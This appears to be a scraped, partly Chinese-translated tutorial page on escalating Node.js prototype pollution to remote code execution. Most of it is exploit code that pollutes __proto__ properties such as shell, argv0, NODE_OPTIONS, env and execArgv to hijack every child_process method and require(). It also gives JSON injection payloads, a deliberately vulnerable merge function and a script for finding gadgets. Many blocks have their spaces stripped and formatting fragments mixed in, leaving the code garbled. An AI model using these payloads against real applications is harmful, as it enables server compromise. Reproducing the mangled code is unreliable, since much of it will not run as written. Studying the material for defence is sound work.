const { execSync,fork } =require('child_process');functionisObject(obj) {console.log(typeof obj);returntypeof obj ==='function'||typeof obj ==='object';}// Function vulnerable to prototype pollutionfunctionmerge(target, source) {for (let key in source) {if (isObject(target[key]) &&isObject(source[key])) {merge(target[key], source[key]);} else {target[key] = source[key];}}return target;}functionclone(target) {returnmerge({}, target);}// Run prototype pollution with user input// Check in the next sections what payload put here to execute arbitrary codeclone(USERINPUT);// Spawn process, this will call the gadget that poputales env variables// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`var proc =fork('a_file.js');
// environ trick - not working// It's not possible to pollute the .env attr to create a first env var// because options.env is null (not undefined)// cmdline trick - working with small variation// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =exec('something');// stdin trick - not working// Not using stdin// Windows// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =exec('something');
execFile 利用
```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');
// stdin trick - not working // Not using stdin
// Windows - not working
为了使 **`execFile`** 工作,它 **必须执行 node** 以使 NODE\_OPTIONS 生效。\
如果它 **不** 在执行 **node**,你需要找到如何通过 **环境变量** 来 **改变执行** 的内容并设置它们。
**其他** 技术 **在** 没有这个要求的情况下 **工作**,因为可以通过原型污染 **修改** **被执行的内容**。 (在这种情况下,即使你可以污染 `.shell`,你也不会污染正在被执行的内容)。
</details>
<details>
<summary><code>fork</code> 利用</summary>
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');
// stdin trick - not working
// Not using stdin
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');
// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn 利用
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - not working// Not using stdin// Windows// NOT working after require(fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync 利用
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execFileSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execFileSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execFileSync-stdin}\n'var proc =execFileSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"p.__proto__.argv0 ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
execSync 利用
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execSync-stdin}\n'var proc =execSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
spawnSync 利用
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of nodep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - working// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/spawnSync-stdin}\n'var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// Windows// NOT working after require(fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
find/-name"*.js"-typef-execgrep-l"child_process"{} \; 2>/dev/null|whilereadfile_path; dogrep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
如果执行的 require 是绝对的(require("bytes")),并且包在 package.json 文件中不包含 main,你可以污染 main 属性并使require 执行不同的文件。
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Install package bytes (it doesn't have a main in package.json)// npm install bytes// Manual Pollutionb = {}b.__proto__.main ="/tmp/malicious.js"// Trigger gadgetvar proc =require('bytes');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')
clone(USERINPUT);var proc =require('bytes');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork("anything");
相对 require - 1
如果加载的是相对路径而不是绝对路径,您可以使节点加载不同的路径:
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.exports = { ".":"./malicious.js" }b.__proto__["1"] ="/tmp"// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')
clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
相对 require - 2
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.data = {}b.__proto__.data.exports = { ".":"./malicious.js" }b.__proto__.path ="/tmp"b.__proto__.name ="./relative_path.js"//This needs to be the relative path that will be imported in the require// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')
clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');